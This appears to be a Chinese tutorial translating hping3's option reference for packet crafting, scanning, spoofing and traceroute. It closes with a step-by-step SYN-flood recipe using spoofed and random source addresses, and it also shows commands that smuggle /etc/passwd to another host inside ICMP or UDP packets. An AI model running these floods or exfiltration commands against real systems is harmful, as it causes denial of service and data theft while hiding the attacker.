hping3鍘熺悊 (hping3娴嬭瘯)

作用:

  • 向网络主机发送(几乎)任务 TCP/IP 数据包

描述:

hping3 是一种网络工具,能够发送自定义 TCP/IP 数据包并显示目标回复,就像 ping 程序对 ICMP 回复所做的那样。hping3 处理分段、任意数据包主体和大小,可用于传输在支持的协议下封装的文件。使用 hping3 您至少可以执行以下操作:

  • 测试防火墙规则
  • 高级端口扫描
  • 使用不同的协议、 数据包大小、TOS(服务类型)和分段测试网络性能。
  • 路径 MTU 发现
  • 再甚至真正的法西斯防火墙 规则之间传输文件。
  • 不同协议下的 Traceroute-like。
  • 类似Firewalk的用法。
  • 远程操作系统指纹识别。
  • TCP/IP 堆栈审计。
  • 很多其他方面。

它也是学习 TCP/IP 的一个很好的教学工具。hping3 由 antirez@invece.org 开发和维护,并在 GPL 版本 2 下获得许可。开发是开放的,因此您可以毫无限制地向我发送补丁和建议。

基本选项:

-h --help 在标准输出上显示帮助屏幕,这样您就可以少用管道。

-v --version 显示用于访问数据链路层、 linux sock 数据包或libpcap 的版本信息和 API。

-c --count 计数 在发送(和接收)计数响应数据包后停止。最后一个数据包发送后 hping3 等待 COUNTREACHED_TIMEOUT 秒目标主机回复。您可以调整 COUNTREACHED_TIMEOUT 编辑 hping2.h

-i --interval 在发送每个数据包之间等待指定的秒数或微秒数。--interval X 将等待设置为 X 秒,--interval uX 将 等待设置为 X 微秒。默认设置是在每个数据包之间等待一秒钟。使用 hping3 传输文件调整此选项对于提高传输速率非常重要。即使使用 hping3 执行空闲/欺骗扫描,您也应该调整此选项,有关详细信息,请参阅 HPING3-HOWTO。

--fast -i u10000 的别名。Hping 将每秒发送 10 个数据包。

--faster -i u1 的别名。比 --fast 快;)(但由于信号驱动的设计,不如您的计算机发送数据包的速度快)。

--flood 尽可能快地发送数据包,而不注意显示传入的回复。这比指定 -i u0 选项要快得多。

-n --numeric 仅数字输出,不会尝试查找主机地址的符号名称。

-q --quiet 安静的输出。除了启动时和完成时的摘要行外,什么都不会显示。

-I --interface 接口名称 默认情况下,在 linux 和 BSD 系统上 hping3 使用默认路由接口。在其他系统或没有默认路由时,hping3 使用第一个非环回接口。但是,您可以使用此选项强制 hping3 使用您需要的界面。注意:您不需要指定全名,例如 -I et 将匹配 eth0 ethernet0 myet1 等等。如果没有接口匹配,hping3 将尝试使用 lo。

-V --verbose 启用详细输出。TCP 回复将显示如下: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0

-D --debug 启用调试模式,当您遇到 hping3 问题时很有用。启用调试模式后,您将获得有关 接口检测、数据链路层访问、接口设置、选项 解析、分片、HCMP 协议和其他内容的更多信息。

-z --bind 将 CTRL+Z 绑定到生存时间 (TTL),这样您就可以按 CTRL+Z 一次或两次来增加/减少传出数据包的 ttl。

-Z --unbind 取消绑定 CTRL+Z,这样您就可以停止 hping3。

--beep 每个匹配的接收数据包都发出哔声(但不是 ICMP 错误)。

协议选择:

默认协议是 TCP,默认情况下 hping3 将发送 tcp 标头到目标主机的端口 0,winsize 为 64,不打开任何 tcp 标志。通常这是进行“隐藏 ping”的最佳方式,当目标位于丢弃 ICMP 的防火墙之后时很有用。此外,端口 0 的 tcp 空标志很有可能未被记录。

-0 --rawipRAW IP 模式,在这种模式下,hping3 将发送带有数据的 IP 标头,并附加 --signature 和/或 --file,另请参见 --ipproto 允许您设置 ip 协议字段。

-1 --icmpICMP 模式,默认情况下 hping3 将发送 ICMP echo-r​equest,您可以使用--icmptype --icmpcode选项设置其他 ICMP 类型/代码。

-2 --udpUDP 模式,默认情况下 hping3 会将 udp 发送到目标主机的端口 0。UDP 标头可调选项如下:-- baseport、--destport、--keep。

-8 --scan扫描模式,该选项需要一个描述要扫描的端口组的参数。端口组以逗号分隔:数字仅描述单个端口,因此 1,2,3 表示端口 1、2 和 3。范围使用起始符号指定,如 1-1000,告诉 hping 扫描端口之间的1 和 1000(包括在内)。特殊词all是 0-65535 的别名,而特殊词known包括 /etc/services 中列出的所有端口。可以组合组,因此以下命令行将扫描 1 到 1000 之间的端口和端口 8888 以及 /etc/services 中列出的端口: hping --scan 1-1000,8888,known -S http://target.host.com可以使用 ! 来否定(减去)组。字符作为前缀,因此以下命令行将扫描 /etc/services 范围 1-1024 中未列出的所有端口:hping --scan '1-1024,!known' -S http://target.host.com。 请记住虽然 hping 在这种模式下看起来更像是一个端口扫描器,但大多数 hping 开关仍然可以使用,因此例如要执行 SYN 扫描,您需要指定-S选项,您可以更改 TCP 窗口大小、TTL、像往常一样控制 IP 分片,依此类推。唯一真正的区别是标准的 hping 行为被封装到扫描算法中。技术说明:扫描模式采用双进程设计,共享内存进行同步。扫描算法仍然不是最优的,但已经相当快了。提示:与大多数扫描仪不同,hping 会显示有关接收到的数据包、IP ID、TCP win、TTL 等的一些有趣信息,执行扫描时不要忘记查看这些附加信息!有时它们会显示有趣的细节。

-9 --listen signatureHPING3 侦听模式,使用此选项 hping3 等待包含 签名的数据包并从签名端转储到数据包的端。例如,如果 hping3 --listen TEST 读取包含 234-09sdflkjs45-TESThello_world的数据包,它将显示 hello_world。

IP协议:

-a --spoof 主机名使用此选项可设置虚假 IP 源地址,此选项可确保目标不会获得您的真实地址。但是,回复将被发送到欺骗地址,因此您将看不到它们。要了解如何执行欺骗/空闲扫描,请参阅 HPING3-HOWTO。

--rand-source 此选项启用随机源模式。hping 将发送具有随机源地址的数据包。使用此选项来强调防火墙状态表以及 TCP/IP 堆栈和防火墙软件中的其他基于 ip 的动态表是很有趣的。

--rand-dest 此选项启用随机目标模式。hping 会将数据包发送到按照您指定为目标主机的规则获得的随机地址。您需要指定一个数字 IP 地址作为目标主机,例如10.0.0.x。所有出现的x都将替换为 0-255 范围内的随机数。因此,要在整个 IPv4 空间中获取 Internet IP 地址,请使用类似hping xxxx --rand-dest 的东西。如果您不确定您的规则生成的地址类型,请尝试使用--debug切换以显示生成的每个新目标地址。打开此选项后,将接受来自所有目的地的匹配数据包。警告:启用此选项后,hping 无法检测到数据包的正确传出接口,因此您应该使用 --interface选项来选择所需的传出接口。

-t --ttl time to live 使用此选项,您可以设置传出数据包的TTL(生存时间),您可能会将其与--traceroute或 --bind选项一起使用。如果有疑问尝试` hping3 http://some.host.com -t 1 --traceroute '。

-N --id 设置 ip->id 字段。默认 id 是随机的,但是如果打开了分片并且没有指定 id ,它将是getpid() & 0xFFFF,以实现更好的解决方案是在 TODO 列表中。

-H --ipproto将 ip 协议设置为 RAW IP 模式。

-W --winid Win2k 之前来自 Windows* 系统的 id 具有不同的字节顺序,如果启用此选项,hping3 将正确显示来自这些 Windows 的 id 回复。

-r --rel 显示 id 增量而不是 id。有关详细信息,请参阅HPING3-HOWTO。增量不计算为 id[N]-id[N-1] 而是使用丢包补偿。有关详细信息,请参阅 relid.c。

-f --frag 将数据包拆分为更多片段,这可能有助于测试 IP 堆栈的片段性能,并测试某些数据*过包**滤器是否太弱以至于可以使用微小的片段(不合时宜)通过。默认的“虚拟 mtu”为 16 个字节。另请参见--mtu选项。

-x --morefrag 设置更多片段 IP 标志,如果您希望目标主机在重组期间发送 ICMP 超时,请使用此选项。

-y --dontfrag 设置不分段 IP 标志,这可用于执行MTU 路径发现。

-g --fragoff 片段偏移值设置片段偏移量。

-m --mtu mtu 值启用碎片时,设置与 16 不同的“虚拟 mtu”。如果数据包大小大于“虚拟 mtu”碎片,则会自动打开。

-o --tos hex_tos 设置服务类型 (TOS),有关更多信息,请尝试--tos help。

-G --rroute 记录路线。在发送的每个数据包中包含 RECORD_ROUTE 选项,并显示返回数据包的路由缓冲区。请注意,IP 标头仅足以容纳九个此类路由。许多主机忽略或放弃此选项。另请注意,即使目标主机过滤 ICMP,使用 hping 您也可以使用记录路由。记录路由是一个 IP 选项,而不是 ICMP 选项,因此即使在 TCP 和 UDP 模式下也可以使用记录路由选项。

ICMP协议:

-C --icmptype type设置 icmp 类型,默认为ICMP 回显请求(隐含 --icmp)。

-K --icmpcode code设置icmp代码,默认为0(暗示--icmp)。

--icmp-ipver设置 ICMP 数据中包含的 IP 头的 IP 版本,默认为 4。

--icmp-iphlen设置 ICMP 数据中包含的 IP 头的 IP 头长度,默认为 5(5 个 32 位字)。

--icmp-iplen设置 ICMP 数据中包含的 IP 头的 IP 包长度,默认为实际长度。--icmp-ipid设置包含在 ICMP 数据中的 IP 头的 IP id,默认是随机的。

--icmp-ipproto设置 ICMP 数据中包含的 IP 头的 IP 协议,默认为 TCP。

--icmp-cksum设置 ICMP 校验和,默认为有效校验和。

--icmp-ts--icmptype 13 的别名(用于发送 ICMP 时间戳请求)。

--icmp-addr--icmptype 17 的别名(用于发送 ICMP 地址掩码请求)。

TCP/UDP协议:

-s --baseport 源端口hping3 使用源端口来猜测回复序列号。它从一个基本源端口号开始,并为每个发送的数据包增加这个数字。当接收到数据包时,序列号可以计算为 replies.dest.port - base.source.port。默认基本源端口是随机的,使用此选项您可以设置不同的数字。如果您不需要为每个发送的数据包增加源端口,请使用-k --keep选项。

-p --destport +dest port设置目标端口,默认为0。如果目标端口号前面有'+'字符(即+1024),每收到一个回复​​,目标端口就会增加。如果双“+”在目标端口号之前(即++1024),则每个发送的数据包都会增加目标端口。默认情况下,可以使用CTRL+z以交互方式修改目标端口。--keep保持源端口不变,请参阅--baseport了解更多信息。

-w --win设置 TCP 窗口大小。默认值为 64。

-O -​​-tcpoff设置假 tcp 数据偏移量。正常数据偏移量为 tcphdrlen / 4。

-M --tcpseq设置 TCP 序列号。

-L --tcpack设置 TCP 确认。

-Q --seqnum此选项可用于收集目标主机生成的序列号。当您需要分析 TCP 序列号是否可预测时,这会很有用。

-b --badcksum发送带有错误 UDP/TCP 校验和的数据包。

--tcp-mss启用 TCP MSS 选项并将其设置为给定值。

--tcp-timestamp启用 TCP 时间戳选项,并尝试猜测时间戳更新频率和远程系统正常运行时间。

-F --fin设置 FIN tcp 标志。

-S --syn设置 SYN tcp 标志。

-R --rst设置 RST tcp 标志。

-P --push设置 PUSH tcp 标志。

-A --ack设置 ACK tcp 标志。

-U --urg设置 URG tcp 标志。

-X --圣诞节设置圣诞 tcp 标志。

-Y --ymas设置 Ymas tcp 标志。

常见选项:

-d --data data size设置数据包主体大小。警告,使用 --data 40 hping3 不会生成 0 字节的数据包,而是 protocol_header+40 字节。hping3 将显示数据包大小信息作为第一行输出,如下所示:HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS is set, 40 headers + 40 data bytes。

-E --file 文件名使用文件名内容来填充数据包的数据。

-e --sign 签名用签名填充数据的第一个签名长度字节。如果签名长度大于数据大小,则会显示错误消息。如果您不指定数据大小,hping 将使用签名大小作为数据大小。该选项可以安全地与--file filename选项一起使用,剩余的数据空间将使用 filename填充。

-j --dump 以十六进制转储接收到的数据包。

-J --print 转储接收到的数据包的可打印字符。

-B --safe 启用安全协议,使用此选项在文件传输中丢失的数据包将被重新发送。例如,为了将文件 /etc/passwd 从主机 A 发送到主机 B,您可以使用以下命令:

[host_a]hping3 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd

[host_b]hping3 host_a --listen signature --safe --icmp

-u --end 如果您使用--file 文件名选项,请告诉您何时达到 EOF。此外,防止另一端接受更多的数据包。请参阅HPING3-HOWTO了解更多信息。

-T --traceroute 跟踪路由模式。使用此选项 hping3 将在收到传输期间增加每个 ICMP 生存时间的 ttl 时间为 0 。尝试 hping3 host --traceroute。此选项意味着 --bind 和 --ttl 为1。您可以使用 --ttl 选项覆盖 ttl 的 1。从 2.0.0 稳定版开始,它会打印 RTT 信息。

--tr-keep-ttl 在 traceroute 模式下保持 TTL 固定,这样您就可以只监控路由中的一跳。例如,要监控第 5 跳如何变化或其 RTT 如何变化,您可以尝试hping3 host --traceroute --ttl 5 --tr-keep-ttl。

--tr-stop 如果指定了此选项,则一旦收到第一个不是 ICMP 时间超过的数据包,hping 将退出。这更好地模拟了跟踪路由行为。

--tr-no-rtt 在 traceroute 模式下不显示 RTT 信息。如果设置了此选项,甚至不会计算超出 ICMP 时间的 RTT 信息。

--tcpexitcode 以最后收到的数据包 tcp->th_flag 作为退出代码退出。对于需要知道某些主机的端口 999 是否使用 SYN/ACK 或 RST 来响应 SYN 的脚本很有用,即服务是启动还是关闭。

常用命令:

hping3 -I eth0 -S 192.168.10.1 -p 80 ----对目标端口扫描

hping3 --rand-source 192.168.0.107 ----使用随机地址伪装自己的地址

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 ----测试目标防火墙

hping3 -z 192.168.0.107 ----很直观的看到TTL的变化

hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd ----在发送端使用签名打包的ICMP包发送文件

攻击实战:

利用 hping3 进行SYS FLOOD攻击同时联动 fping 和 nmap 工具:

  1. 根据获取的IP使用 fping 扫描活动IP: fping -asg http://xxx.xxx.xxx.xxx/xx
  2. 针对活动IP进行端口扫描,了解端口使用情况 :nmap -sS http://xxx.xxx.xxx.xxx ----该命令是半连接扫描TCP开放端口
  3. 使用hping3发起sys flood 攻击: hping3 -q -n -a 攻击ip -S -s 源端口 --keep -p 目的端口 --flood 被攻击IP ----攻击IP可虚构,目的隐藏攻击真实IP: hping3 -q -n -a 100.0.0.0 -S -s 4444 --keep -p 80 --flood 192.168.0.108

这里解释一下参数, -q -n 分别为安静模式,数字化显示,都是优化参数 -a为隐藏攻击ip为 4.4.4.4 -S为设置 SYN flag。 -s 源端口 –keep 维持源端口 -p --flood 目标端口及IP书写

4. hping3 -c 100000 -d 120 -S -w 64 -p80 --flood --rand-source 域名

-c 后面是你要形成的洪水量,比如说100000,就相当与100000个人在服务器里,于是你也就明白了DDos的原理,假设一个超市来了一群人,只看不买,道理一样。-d 后面是包大小。